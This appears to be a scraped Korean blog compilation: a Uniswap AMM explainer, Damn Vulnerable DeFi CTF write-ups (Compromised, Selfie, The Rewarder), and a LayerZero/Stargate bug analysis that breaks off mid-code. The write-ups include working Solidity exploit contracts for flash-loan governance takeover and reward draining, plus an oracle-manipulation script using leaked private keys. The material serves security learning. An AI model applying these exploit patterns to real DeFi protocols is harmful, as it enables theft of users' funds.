풀은 유동성 공급자가 예치한 자산이 모여 있는 곳이다. 유동성 풀에는 다양한 토큰 쌍이 포함될 수 있으며, 거래는 이 풀을 통해 이루어진다. 예를 들어, ETH/USDT 풀에는 이더리움(ETH)과 테더(USDT)가 예치되어 있다.


가스 (Gas)


가스는 이더리움 블록체인 상에서 거래를 수행할 때 지불하는 수수료이다. 가스 수수료는 거래의 복잡성과 네트워크 상태에 따라 달라지며, 가스는 이더(ETH)로 지불된다. 가스는 블록체인 네트워크의 작업을 처리하는 마이너에게 지급된다.


토큰 쌍 (Token Pair)


토큰 쌍은 두 개의 암호화폐 또는 토큰이 거래되는 조합을 의미한다. 예를 들어, BTC/ETH는 비트코인(BTC)과 이더리움(ETH) 간의 거래를 의미한다. 거래소에서는 다양한 토큰 쌍이 존재하며, 사용자는 원하는 토큰 쌍을 선택하여 거래할 수 있다.


마이너 (Miner)


마이너는 블록체인 네트워크에서 새로운 블록을 생성하고, 트랜잭션을 검증하여 블록체인에 추가하는 참여자를 의미한다. 마이너는 컴퓨팅 파워를 사용하여 복잡한 수학적 문제를 해결하는 과정을 통해 보상을 받는다.


  1. 트랜잭션 검증: 네트워크에서 발생하는 트랜잭션을 수집하고, 그 유효성을 검증한다. 이를 통해 이중 지불(double spending) 문제를 방지하고, 트랜잭션의 신뢰성을 확보한다.
  2. 블록 생성: 검증된 트랜잭션을 모아 블록을 생성한다. 새로운 블록을 생성하기 위해 마이너는 작업 증명(Proof of Work)과 같은 합의 알고리즘을 사용하여 특정 수학적 문제를 해결해야 한다. 현재 Ethereum은 PoS로 전환되었다.
  3. 블록체인에 추가: 생성된 블록을 블록체인에 추가한다. 이를 통해 블록체인이 계속해서 확장되고, 네트워크의 거래 기록이 영구적으로 보존된다.
  4. 보상: 마이너는 새로운 블록을 생성하고 트랜잭션을 검증한 대가로 암호화폐 보상을 받는다. 이 보상은 일반적으로 블록 보상(block reward)과 트랜잭션 수수료(transaction fees)로 구성된다.

 

합의 알고리즘


  • 작업 증명(Proof of Work, PoW): 마이너가 복잡한 수학적 문제를 해결하는 과정을 통해 새로운 블록을 생성한다. 이 과정은 많은 컴퓨팅 파워를 필요로 하며, 비트코인과 이더리움(이전 PoW 시기)에서 사용되었다.
  • 지분 증명(Proof of Stake, PoS): 마이너 대신 밸리데이터(Validator)가 자신의 암호화폐를 네트워크에 스테이킹(staking)하고, 이를 통해 블록을 생성하고 검증한다. 이더리움 2.0에서 대표적으로 사용된다.

 

What is AMM?


Uniswap이 무엇을 하는 것이냐? 이것이 어떤 시스템인가? 툴인가? 여러 궁금증이 들 수 있다.


간단히 말하자면, Uniswap은 Ethereum 및 기타 블록체인에서 실행되는 분산형 암호화폐 거래소(DEX)이다. 전통적인 거래소와는 달리, Uniswap은 사용자들이 직접 암호화폐를 거래할 수 있도록 한다.


기존 전통적인 거래소와 Uniswap의 가장 큰 차이점은 바로 AMM(Automated Market Maker)를 도입했다는 점이다. AMM은 기존의 Order Book 기반 거래소와 달리 유동성 풀을 통해 거래를 처리한다.


그렇다면 왜 AMM을 도입하게 되었을까?


기존의 거래소들은 블록체인 상에서 암호화폐를 거래할 수 있게 조성한 시스템은 아니다. 사용자들은 거래소가 제공한 중앙화된 시스템 내에서 Order Book 기반 인터페이스를 통해 거래를 하는 것이다. 이러한 중앙화 거래소는 보안 문제, 불투명성, 지역적 제한 등의 여러 문제를 내포하게 된다.


보다 탈중앙화되고, 투명한 거래 방식을 모색한 결과로 탈중앙화 거래소(DEX)가 등장하게 되었다. DEX는 사용자가 직접 자산을 관리하고, 스마트 계약을 통해 거래를 처리하면서 중앙화 거래소의 한계를 극복할 수 있는 대안으로 주목받기 시작했다. 여러 DEX 개발 시도 중 하나가 이더델타(EtherDelta)였다.


이더델타는 기존 거래소(CEX)와 같은 Order Book 기반 거래소를 블록체인 상에서 구현하고자 했다. 결과적으로 이는 크게 성공하지 못했다. 이유를 크게 살펴보자.


  1. Gas Fee 문제: Order Book 방식의 거래는 매수, 매도를 미리 등록하는 방식이기에 거래 생성, 취소 등에 많은 gas fee를 요구했다.
  2. 유동성 부족 문제: 사용자 수가 많지 않았고, 사용자들이 DEX를 사용하는 데 어려움을 겪었기에 이러한 여러 문제들이 곧 유동성 부족 문제로 이어졌다.

 

이러한 문제 때문에 초기 DEX는 성공하지 못했다. 하지만 이러한 문제점을 해결한 것이 바로 Uniswap이었다.

Uniswap은 기존의 Order Book 시스템을 버리고 AMM을 도입하였다. AMM은 Uniswap에서 누구나 유동성을 공급할 수 있었고, 이 유동성을 바탕으로 결정된 가격으로 사용자들이 언제 어디서든 거래할 수 있게 되었다.

이제 AMM에 대해 자세히 살펴보도록 하자.


AMM (feat. CPMM)


Uniswap에서는 여러 AMM 중 CPMM(Constant Product Market Maker)을 사용한다. 용어를 곧이곧대로 해석하면 감이 올 수도 있다.


CPMM은 X * Y = K라는 간단한 식을 기반으로 한다. 여기서 X와 Y는 각각 두 종류의 토큰의 리저브 양을 의미하며, K는 X와 Y의 곱으로 일정하게 유지된다.


이 식의 중요한 점은 K가 항상 일정하게 유지된다는 것이다. 따라서 어떤 한 종류의 토큰이 추가되거나 제거되면, 다른 종류의 토큰의 양이 이에 상응하여 조정된다. 예시를 통해 살펴보자.


XXX와 YYY의 교환


현재 Uniswap의 XXX/YYY 풀에는 30 XXX와 700 YYY가 유동성으로 제공되고 있다. 이 상황에서 트레이더가 1 XXX를 지불하고 YYY를 구매한다고 가정하자. 아래 예시들에서 거래 수수료는 제외하겠다.


  1. 거래 전 상태:
    • XXX 리저브(X): 30
    • YYY 리저브(Y): 700
    • K = X * Y = 21,000
  2. 트레이더가 1 XXX를 지불:
    • 바뀐 XXX 리저브: 31
    • 바뀐 YYY 리저브: Y = 21,000 / 31 ≈ 677.419
  3. 트레이더가 받는 YYY의 양:
    • 700 - 677.419 ≈ 22.581

 

여기서 주목할 점은 거래 전후 XXX와 YYY의 비율이 변화하여 XXX의 가격은 상승하고 YYY의 가격은 하락한다는 점이다. 처음에 의도했던 가격과 실제 거래 가격 사이의 차이를 슬리피지(Slippage)라고 하는데, 이는 CPMM의 특성상 발생할 수밖에 없다.


조금 생각해보면 유동성이 크면 클수록 상대적인 슬리피지 양이 줄어들 수밖에 없다는 것을 알 수 있다. 한 번 살펴보자.

이제 유동성을 증가시킨 상황을 가정해보자.


현재 Uniswap의 XXX/YYY 풀에 30,000 XXX와 700,000 YYY가 유동성으로 제공되고 있다. 이 상황에서 동일하게 트레이더가 1 XXX를 지불하고 YYY를 구매한다고 가정하자.


  1. 거래 전 상태:
    • XXX 리저브(X): 30,000
    • YYY 리저브(Y): 700,000
    • K = X * Y = 21,000,000,000
  2. 트레이더가 1 XXX를 지불:
    • 바뀐 XXX 리저브: 30,001
    • 바뀐 YYY 리저브: Y = 21,000,000,000 / 30,001 ≈ 699,976.667
  3. 트레이더가 받는 YYY의 양:
    • 700,000 - 699,976.667 ≈ 23.333 YYY

 

유동성이 증가함에 따라 슬리피지가 어떻게 변했는지를 살펴보면, 동일한 1 XXX를 거래했을 때 유동성이 적었던 첫 번째 예시에서는 약 22.581 YYY를 받았지만, 유동성을 증가시킨 두 번째 예시에서는 약 23.333 YYY를 받게 되었다. 슬리피지가 줄어들었음을 확인할 수 있다. 그래서 Uniswap을 포함한 DEX는 TVL(Total Value Locked)로 표현되는 많은 유동성을 확보하기 위해 노력한다.


하지만 많은 유동성만이 슬리피지를 해결하는 방법은 아니다. 이는 Uniswap V3에서 도입된 집중화된 유동성(Concentrated Liquidity)을 찾아보길 권한다.


Gas Fee


초기 DEX들이 실패한 원인 중 하나가 Gas Fee였다. 이더리움 블록체인에서 거래를 실행할 때마다 발생하는 가스 수수료는 사용자가 네트워크의 계산 자원을 사용하는 대가로 지불해야 하는 비용이다. 위에서 봤듯이, 초기 DEX들, 예를 들어 이더델타(EtherDelta)는 복잡한 스마트 계약을 사용하여 거래를 처리하였고, 이는 높은 가스 비용을 초래했다. 이러한 높은 가스 수수료는 사용자들이 자주 거래를 취소하거나 변경할 때마다 추가적인 비용을 발생시키며, DEX를 사용하는 데 있어 큰 장애물로 작용했다.


유니스왑은 이러한 문제를 해결하기 위해 가스 수수료를 낮추는 데 주력했다. 유니스왑은 CPMM 모델을 채택하여 거래 과정을 단순화하고, 복잡한 주문서 관리 시스템을 없앴다. 이는 거래를 수행할 때 필요한 계산을 최소화하여 가스 비용을 절감하는 효과를 가져왔다. 유니스왑의 간단하고 효율적인 스마트 계약 구조는 가스 비용을 크게 줄였고, 이를 통해 사용자들은 보다 저렴한 비용으로 거래할 수 있게 되었다.


이러한 효율성 덕분에 유니스왑은 초기부터 많은 사용자를 끌어들일 수 있었고, 이는 유니스왑의 성공에 중요한 역할을 했다. 낮은 가스 수수료는 유동성 공급자와 트레이더 모두에게 유리한 환경을 제공하였고, 이는 유니스왑이 다른 DEX들과 차별화될 수 있는 중요한 요인이 되었다.


결론적으로, 유니스왑의 성공은 가스 수수료를 효율적으로 관리한 덕분이다. 이를 통해 사용자들은 부담 없이 거래할 수 있었고, 유동성 공급자들은 보다 안정적인 수익을 기대할 수 있었다. 이는 유니스왑이 초기에 성공할 수 있었던 주요 원인 중 하나로 작용했다.


Liquidity Provider


Uniswap에서 유동성 공급자(Liquidity Provider, LP)의 역할은 매우 중요하다. 중앙화된 거래소와는 달리, 유니스왑은 유동성 공급자들이 풀에 제공하는 자산을 통해 거래를 처리한다. 이는 유동성 공급자들이 유니스왑의 성공과 안정성에 직접적인 영향을 미친다는 것을 의미한다.


유동성 공급자의 역할


유니스왑에서 유동성 공급자가 되려면, 예를 들어 ETH/DAI 풀에 유동성을 제공한다고 할 때, 사용자는 이더리움(ETH)과 다이(DAI)를 일정 비율로 예치해야 한다. 이렇게 예치된 자산은 유동성 풀을 형성하며, 다른 사용자가 이 풀에서 자유롭게 거래를 할 수 있도록 돕는다. 유동성 풀의 크기가 클수록 거래가 더 원활하게 이루어질 수 있고, 슬리피지(Slippage)도 줄어들게 된다.


LP 토큰의 의미


유동성 공급자들이 자산을 풀에 예치하면, 그 대가로 LP 토큰을 받는다. 이 LP 토큰은 유동성 공급자가 풀에 기여한 비율을 나타낸다. 예를 들어, ETH/DAI 풀에 전체 유동성의 10%를 기여했다면, 유동성 공급자는 전체 LP 토큰의 10%를 받게 된다. 이 LP 토큰은 단순한 기여도를 나타내는 지표에 그치지 않고, 풀에서 발생하는 거래 수수료를 배분받을 권리도 부여한다.


거래 수수료 수익


유니스왑에서 이루어지는 모든 거래는 소액의 거래 수수료를 발생시키며, 이 수수료는 유동성 풀로 귀속된다. 그리고 이 수수료는 유동성 공급자들에게 배분된다. 예를 들어, 특정 풀에서 한 달 동안 100 ETH의 거래 수수료가 발생했다면, 해당 풀에 10%의 기여를 한 유동성 공급자는 10 ETH의 수수료를 받게 된다.


유동성 공급의 장점과 리스크


유동성 공급자는 거래 수수료를 통해 수익을 얻을 수 있지만, 이는 리스크도 수반한다. 가장 큰 리스크 중 하나는 '영구적 손실(Impermanent Loss)'이다. 이는 예치한 자산의 상대적 가치 변화로 인해 발생할 수 있는 손실을 의미한다. 예를 들어, 예치한 두 자산 중 하나의 가격이 급격히 변동하면, 유동성 풀에서의 비율이 달라져 손실이 발생할 수 있다.


Reference Link

https://medium.com/@aiden.p/uniswap-series-1-유니스왑-이해하기-e321446623c7

The Challenge


While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server.

Here’s a snippet:


**HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34**


A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each.

This price is fetched from an on-chain oracle, based on 3 trusted reporters: 0xA732...A105,0xe924...9D15 and 0x81A5...850c.

Starting with just 0.1 ETH in balance, pass the challenge by obtaining all ETH available in the exchange.


The Contracts


이번 문제는 NFT를 엄청나게 높은 가격에 판매하는 NFT 거래소를 중심으로 진행된다. 이러한 가격은 외부 Oracle 서비스에서 제공되며 우리는 내부 작동 방식을 분석하고, 유리하게 조작하는 방법을 알아내야 한다.

먼저 저 16진수 값들은 뭘까? 문자열로 변환해보았다.


MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5
MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4

뭔가 Base64 느낌이 나서 시도를 해보았더니


0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48

이게 뭘까? 이번 문제는 기존 문제들과 다르게 웹 서버에서 얻은 정보를 바탕으로 풀어야 하나 보다. 저게 신뢰할 수 있는 계정들 중 2개의 개인 키가 아닐까? 이를 바탕으로 NFT 가격을 조작하여 모든 ETH를 얻을 수 있다. 위 가설이 맞다면 성공할 것이다. 시도해보자.


it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const key1 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48"
        const key2 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9"

        const account1 = new ethers.Wallet(key1, ethers.provider);
        const account2 = new ethers.Wallet(key2, ethers.provider);

        await oracle.connect(account1).postPrice("DVNFT", 1);
        await oracle.connect(account2).postPrice("DVNFT", 1);

        await exchange.connect(player).buyOne({ value: 1 });

        await oracle.connect(account1).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE+ BigInt(1));
        await oracle.connect(account2).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE+ BigInt(1));

        await nftToken.connect(player).approve(exchange.address, 0);
        await exchange.connect(player).sellOne(0);

        await oracle.connect(account1).postPrice("DVNFT", INITIAL_NFT_PRICE);
        await oracle.connect(account2).postPrice("DVNFT", INITIAL_NFT_PRICE);
    });

먼저 개인키를 통해 계정을 연결하고, NFT 가격을 1로 설정 후, player가 산다. 그 후 가격을 다시 바꾸고, 그 가격으로 팔아서 거래소의 NFT를 뺄 수 있다. 이는 민감한 정보를 블록체인 상 저장한 것과 너무 특정 계정에 의존한다는 문제점으로 발생하였다.


The Challange


A new cool lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it.

What could go wrong, right ?

You start with no DVT tokens in balance, and the pool has 1.5 million. Your goal is to take them all.


The Contracts


토큰을 모두 탈취해야 한다. 제공된 초기 자금은 없다. 그럼 어떻게 토큰을 탈취해야 할까?

SimpleGovernance.sol을 보면 여러 거버넌스 메커니즘이 구성되어 있다. 실행할 대상 주소, 데이터 등을 제공받아 실행할 작업을 제안하고 대기열에 넣는 등 작업을 할 수 있다. 하지만 이러한 작업들은 거버넌스 토큰의 총 공급량의 최소 50% 이상의 투표를 보유해야 하며, 제안된 후 2일의 시간 지연과 같은 조건들이 있다.


그럼 flashloan 관련 contract를 보자. SelfiePool.sol은 ERC20 token에 대한 flashloan 기능이 있다. 사용자는 IERC3156FlashBorrower 인터페이스를 구현하는 한 토큰을 빌릴 수 있으며, 긴급 상황 발생 시 거버넌스가 풀에서 자금을 뺄 수 있게 하는 메커니즘이 구성되어 있다. 이 기능은 거버넌스만 실행 가능하다.

토큰을 모두 탈취할려면 위 기능을 실행하면 된다. 하지만 어떻게 거버넌스가 실행하게 할 수 있을까?

먼저 50% 이상의 투표를 보유하기 위해서 flashloan으로 자금을 대출한 한 후 EmergencyExit 함수를 호출하고, flashloan을 payback하면 되지 않을까? 공격 contract를 작성해보자.


Exploit

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IPool {
    function flashLoan(
        IERC3156FlashBorrower _receiver, address _token, uint256 _amount, bytes calldata _data
    ) external returns (bool);
}

interface IGovernance {
    function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId);
    function getActionCounter() external returns (uint256);
}

interface IERC20Snapshot is IERC20{
    function snapshot() external returns(uint256);
}

contract attackSelfie is IERC3156FlashBorrower {

    IPool public pool;
    IGovernance public governance;
    IERC20Snapshot public token;
    address public player;
    uint256 public amount = 1500000 ether;

    constructor(address _pool, address _governance, address _token, address _player) {
        pool = IPool(_pool);
        governance = IGovernance(_governance);
        token = IERC20Snapshot(_token);
        player = _player;
    }
    
    function attack() public {
        bytes memory data = abi.encodeWithSignature("emergencyExit(address)", player);
        pool.flashLoan(IERC3156FlashBorrower(address(this)), address(token), amount , data);
    }

    function onFlashLoan(address, address, uint256 _amount, uint256, bytes calldata data) external returns (bytes32) {
        uint256 id = token.snapshot();
        governance.queueAction(address(pool), 0, data);
        token.approve(address(pool), _amount);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}

Exploit Flow


  1. Attack Start:
    • attack() 함수가 호출되면, emergencyExit(address) 함수를 호출하는 페이로드 데이터를 작성
    • 150만 토큰을 플래시 론으로 빌리기 위해 pool.flashLoan()을 호출
  2. FlashLoan :
    • 플래시 론이 완료되면 onFlashLoan() 콜백 함수가 호출
    • 스냅샷을 찍어 거버넌스 토큰의 현재 상태를 기록
    • emergencyExit(address) 함수를 호출하는 작업을 거버넌스 큐에 삽입
    • 빌린 토큰을 풀로 반환하기 위해 토큰 전송을 승인
  3. 작업 실행:
    • 2일이 지난 후, 큐에 넣은 작업이 실행될 수 있다.
    • SimpleGovernance 계약의 executeAction() 함수를 호출하여 emergencyExit()을 실행
    • 이로 인해 SelfiePool 계약이 공격자 주소로 모든 자금을 전송하게 되며 flashloan도 모두 payback된다.
it('Execution', async function () {
	/** CODE YOUR SOLUTION HERE */
    this.exploitContract = await (await ethers.getContractFactory("attackSelfie", player)).deploy(pool.address, governance.address, token.address, player.address)
    await this.exploitContract.attack();
    
    const DELAY = 2 * 24 * 60 * 60 + 1;
    await time.increase(DELAY);  
    await governance.connect(player).executeAction(1);
});

 



 

'Blockchain' 카테고리의 다른 글

Uniswap이 뭘까?  (2) 2024.07.18
Damn Vulnerable DeFi Challenge #7 - Compromised  (0) 2024.07.06
Damn Vulnerable DeFi Challenge #5 - The Rewarder  (1) 2024.07.05
LayerZero 1-Day Analysis  (0) 2024.06.16
LZ Case Analyze  (0) 2024.05.27

There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.

Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!

You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.

By the way, rumours say a new pool has just launched. Isn’t it offering flash loans of DVT tokens?


The Challange

이 챌린지에는 DVT 토큰을 입금한 사람들에게 5일마다 토큰 보상을 제공하는 풀이 있다. 이 문제에서는 DVT 토큰이나 LP 토큰이 없어도 DVT 토큰으로 flashloan을 제공하는 기능이 있다. 간단히 contract를 보자.

 


The Contracts

  • RewardToken.sol:
    • ERC-20 토큰입니다.
    • Minter 역할이 있습니다.
    • 소유자는 토큰을 발행할 수 있다.
  • AccountingToken.sol:
    • Minter, Snapshot 및 Burner와 같은 다양한 Role이 있다.
    • ERC-20 스냅샷을 사용하여 다양한 시점의 잔액과 공급량을 기록한다.
    • transfer과 approve는 불가능하다.
  • FlashLoanerPool.sol:
    • DVT 토큰으로 플래시 대출을 제공합니다.
    • 요청한 대출 금액이 풀 잔액을 초과하지 않는지 확인하는 로직이 있다.
    • receiveFlashLoan로 payback을 받는다.
  • TheRewarderPool.sol:
    • 흔히 말하는 LP역할이다.
    • 스냅샷 기록, 보상 분배, 입출금 처리를 담당하는 계약이다.
    • 우리는 여기서 취약점을 찾아 보상 메커니즘을 악용해야한다.
      • deposit : 사용자가 pool에 토큰을 예치하는 함수이다. amountToDeposit만큼 liqudity token을 예치하고, 같은 양인 account token을 받는다. round가 돌아오면 이자인 reward token도 받는다.
      • withdraw : 출금 함수이다. amountToWithdraw만큼 출금하고 account token을 소각한다.
      • distributeRewards : account token의 전체 발행량과 사용자의 소유 비율로 결정된다. 5일에 한 번씩 지급된다.

 

The Vulnerability

보상의 계산 방식이 시간과 관계없이 계산된다. 이는 공격자가 거래에서 유동성을 소유한 후 바로 유동성에 대한 reward를 제공받는다. flashloan을 활용하여 거래에 유동성을 제공하고, 보상을 받을 수도 있다.

  1. FlashLoanPool로부터 대출
  2. TheRewarderPool에 입금하여 유동성 획득
  3. reward 받음
  4. 유동성 회수
  5. 다시 flashloan한 것을 payback

 

DVT 토큰의 플래시론을 받고 TheRewarderPool에 스테이킹하고 보상을 얻은 다음 토큰을 인출하고 대출금을 갚으면 된다.

한 번 코드를 작성해보자.


attackTheRewarder.sol

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./RewardToken.sol";

interface IFlashloanPool {
    function flashLoan(uint256 amount) external;
}

interface IRewardPool {
    function deposit(uint256 amount) external;
    function withdraw(uint256 amount) external;
    function distributeRewards() external;
}

contract attackTheRewarder {
    IFlashloanPool immutable flashLoanPool;
    IRewardPool immutable rewardPool;
    IERC20 immutable liquidityToken;
    IERC20 immutable rewardToken;
    address immutable player;

    constructor( address _flashloanPool, address _rewardPool, address _liquidityToken, address _rewardToken) {
        flashLoanPool = IFlashloanPool(_flashloanPool);
        rewardPool = IRewardPool(_rewardPool);
        liquidityToken = IERC20(_liquidityToken);
        rewardToken = IERC20(_rewardToken);
        player = msg.sender;
    }

    function flashloanAttack() external {
        flashLoanPool.flashLoan(liquidityToken.balanceOf(address(flashLoanPool)));
    }

    function receiveFlashLoan(uint256 amount) external {
        liquidityToken.approve(address(rewardPool), amount);
        rewardPool.deposit(amount);
        rewardPool.distributeRewards();
        rewardPool.withdraw(amount);
        liquidityToken.transfer(address(flashLoanPool), amount);
        rewardToken.transfer(player, rewardToken.balanceOf(address(this)));    
    }
}

  • flahsloanAttack() : DVT 토큰 플래시 대출 수행
  • receiveFlashLoan() : 보상 메커니즘에 참여하기 위해 대출받은 토큰을 보상자 풀에 입금 후, distributeRewards() 함수를 호출하여 보상을 획득하고, 출금한다. 그 후 flashloan 받은 금액을 payback한다.

 

 

이를 통해 처음에 토큰이 없어도, 보상을 획득할 수 있다.


it('Execution', async function () {
    await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
    this.attackerContract = await (await ethers.getContractFactory("attackTheRewarder", player)).deploy(
        flashLoanPool.address, rewarderPool.address, liquidityToken.address, rewardToken.address
    )

    await this.attackerContract.flashloanAttack();
});

시간을 빠르게 지나게 하고, 공격을 시행한다.


 


 

Review

처음에 보자마자 어? 이거 그냥 flashloan 받아서 유동성 풀에 입금해서 토큰 받으면 되는거 아닌가?라고 생각을 했었지만 근거가 없었다. 그래서 먼저 보상 계산 방식을 보니 시간과 연관이 없는 것이였다. 그럼 실제로 코드를 5일을 돌려야하나?ㅋㅋ이렇게 생각했는데 마침 test code에 evm_increaseTime이라는게 제공이 되어서 이걸로 5일 돌리고 공격하면 되겠네? 싶었었다. 또한 deposit 함수 내부에 보상을 계산하는 함수가 있어 위 로직이 딱 잘 맞아 떨어질 수 있었다. 감이 잘 맞아 떨어져서 쉽게 풀었던 것 같다.

'Blockchain' 카테고리의 다른 글

Damn Vulnerable DeFi Challenge #7 - Compromised  (0) 2024.07.06
Damn Vulnerable DeFi Challenge #6 - Selfie  (0) 2024.07.05
LayerZero 1-Day Analysis  (0) 2024.06.16
LZ Case Analyze  (0) 2024.05.27
Damn Vulnerable DeFi Challenge #4 - Side Entrance  (0) 2024.05.19

TL;DR


  • The ULNv1 Exploit
    • srcAddress로만 매핑될 때 발생하는 문제로 Slot Collision이 발생했다.
    • ULNv2에서는 srcAddress와 dstAddress를 함께 mapping에 사용하여 nonce를 생성함으로써 각 소스-대상 매핑마다 고유한 nonce 시퀀스를 가지게 되어 위 취약점을 패치하였다.
  • Stargate 1
    • Stargate의 swap 함수는 계약이 아닌 주소로의 호출 시 발생할 수 있는 예외 상황을 고려하지 않으면 채널이 영구적으로 lock될 수 있다. 이를 방지하기 위해 대상 주소가 계약인지 확인하는 추가적인 검증 단계가 필요해 보인다.
    • LayerZero 팀이 발견하고 수정했으며, 수정 사항은 다른 계층에서 이루어졌다.
  • Stargate 2
    • catch문은 payload를 스토리지에 복사하며 엄청난 가스를 소비하여 revert 시킨다.
    • Stargate는 위 취약점을 해결하기 위해 Router를 재배포하지 않고 추가적인 추상화 계층을 도입했다.
    • StargateComposer를 통해 사용자들이 swap 시 직접 payload를 제공하는 것을 막고, Composer를 통해서만 안전하게 호출되도록 설계하였다.

 


What is the LayerZero?


LayerZero는 cross-chain messaging을 가능케 하는 옴니체인 상호 운용성 프로토콜이다.


1. The ULNv1 Exploit


2022년 9월 LayerZero는 메세징 체인 경로를 차단하여 잠재적인 APP 그리핑에 대한 report를 받았다고 공개한 바 있다. 이후 ULNv1은 더 이상 사용되지 않고 있다. 이에 대한 자세한 내용은 공개된 적이 없다.

ULNv1:


    // publish the payload and _gasLimit to the endpoint for calling lzReceive at _dstAddress
    endpoint.receivePayload(_packet.srcChainId, _packet.srcAddress, _packet.dstAddress,
	     _packet.nonce, _gasLimit, _packet.payload);
}


ULNv2:


    bytes memory pathData = abi.encodePacked(_packet.srcAddress, _packet.dstAddress);
    emit PacketReceived(_packet.srcChainId, _packet.srcAddress, _packet.dstAddress,
	       _packet.nonce, keccak256(_packet.payload));
    endpoint.receivePayload(_srcChainId, pathData, _dstAddress, _packet.nonce, _gasLimit, _packet.payload);
}

위 코드는 verifyTransactionPrrof() 함수의 마지막 부문이다. receivePayload() 함수의 인자들이 바뀐 모습들을 확인할 수 있다. ULNv1에서는 _packet.srcAddress를 2번째 인자로 전달하는 반면, ULNv2에서는 abi.encodePacked(_packet.srcAddress, _packet.dstAddress)를 전달한다.


//---------------------------------------------------------------------------
// authenticated Library (msg.sender) Calls to pass through Endpoint to UA (dstAddress)
function receivePayload(uint16 _srcChainId, bytes calldata _srcAddress, address _dstAddress,
    uint64 _nonce, uint _gasLimit, bytes calldata _payload) external override receiveNonReentrant {
    // assert and increment the nonce. no message shuffling
    require(_nonce == ++inboundNonce[_srcChainId][_srcAddress], "LayerZero: wrong nonce");

    LibraryConfig storage uaConfig = uaConfigLookup[_dstAddress];

_nonce를 ++inboundNonce[_srcChainId][_srcAddress]와 비교하는 구문이 있는데, 이는 메세지의 순서 변조나 재전송을 방지하는 코드이다. 왜냐하면 예상 nonce는 _srcChainId와 _srcAddress를 통해 접근되는 mapping에서부터 가져오기 때문에 둘의 값이 다르다면 변조된 것을 확인할 수 있다.


Slot Collision


클라이언트는 자신의 Relayer와 Oracle을 선택할 수 있으므로 메세지를 위조할 가능성이 있다. 이때 악의적인 클라이언트는 다른 체인에서 온 것처럼 위조된 메세지를 만들고, 가짜 Merkle 루트에 대한 합의를 확인하고 자신들의 Relayer를 통해 validateTransactionProof()를 호출할 수 있다.

ULNv1의 경우 nonce를 dstAddress를 고려하지 않고 생성하기 때문에 srcAddress만 동일하게 한 후, dstAddress를 위조하여 변조된 목적지에 대한 nonce 증가를 초래하여 실제 정상적인 목적지의 유효한 메세지의 nonce를 무효화할 수 있다. 즉 다른 목적지에 대한 잘못 공유된 nonce space로 인해 “Slot Collision”이 일어날 수 있다.


Summary


srcAddress로만 매핑될 때 발생하는 문제로 Slot Collision을 일으킬 수 있는 1-Day를 살펴보았다. ULNv2에서는 srcAddress와 dstAddress를 함께 mapping에 사용하여 nonce를 생성함으로써 각 소스-대상 매핑마다 고유한 nonce 시퀀스를 가지게 되어 위 취약점을 패치하였다.


2. Stargate Dos Bug


What is the Stargate?


Stargate는 LayerZero를 위해 출시된 최초의 dApp이며, LayerZero 팀이 개발하고 유지 관리한다.


Bug 1 - The Solidity try/catch’s feature


swap() 함수 또는 receiveRemote() 함수가 실행되면 로컬 브리지는 원격 브리지로 메시지를 보낸다. 이때 Bridge.sol:lzReceive() 함수가 실행된다.


if (functionType == TYPE_SWAP_REMOTE) {
    (
        ,
        uint256 srcPoolId,
        uint256 dstPoolId,
        uint256 dstGasForCall,
        Pool.CreditObj memory c,
        Pool.SwapObj memory s,
        bytes memory to,
        bytes memory payload
    ) = abi.decode(_payload, (uint8, uint256, uint256, uint256, Pool.CreditObj, Pool.SwapObj, bytes, bytes));
    address toAddress;
    assembly {
        toAddress := mload(add(to, 20))
    }
    router.creditChainPath(_srcChainId, srcPoolId, dstPoolId, c);
    router.swapRemote(_srcChainId, _srcAddress, _nonce, srcPoolId, dstPoolId, dstGasForCall, toAddress, s, payload);

Router는 swapRemote() 함수를 실행시킨다. ( router.swapRemote 부문 )


function swapRemote(
    uint16 _srcChainId,
    bytes memory _srcAddress,
    uint256 _nonce,
    uint256 _srcPoolId,
    uint256 _dstPoolId,
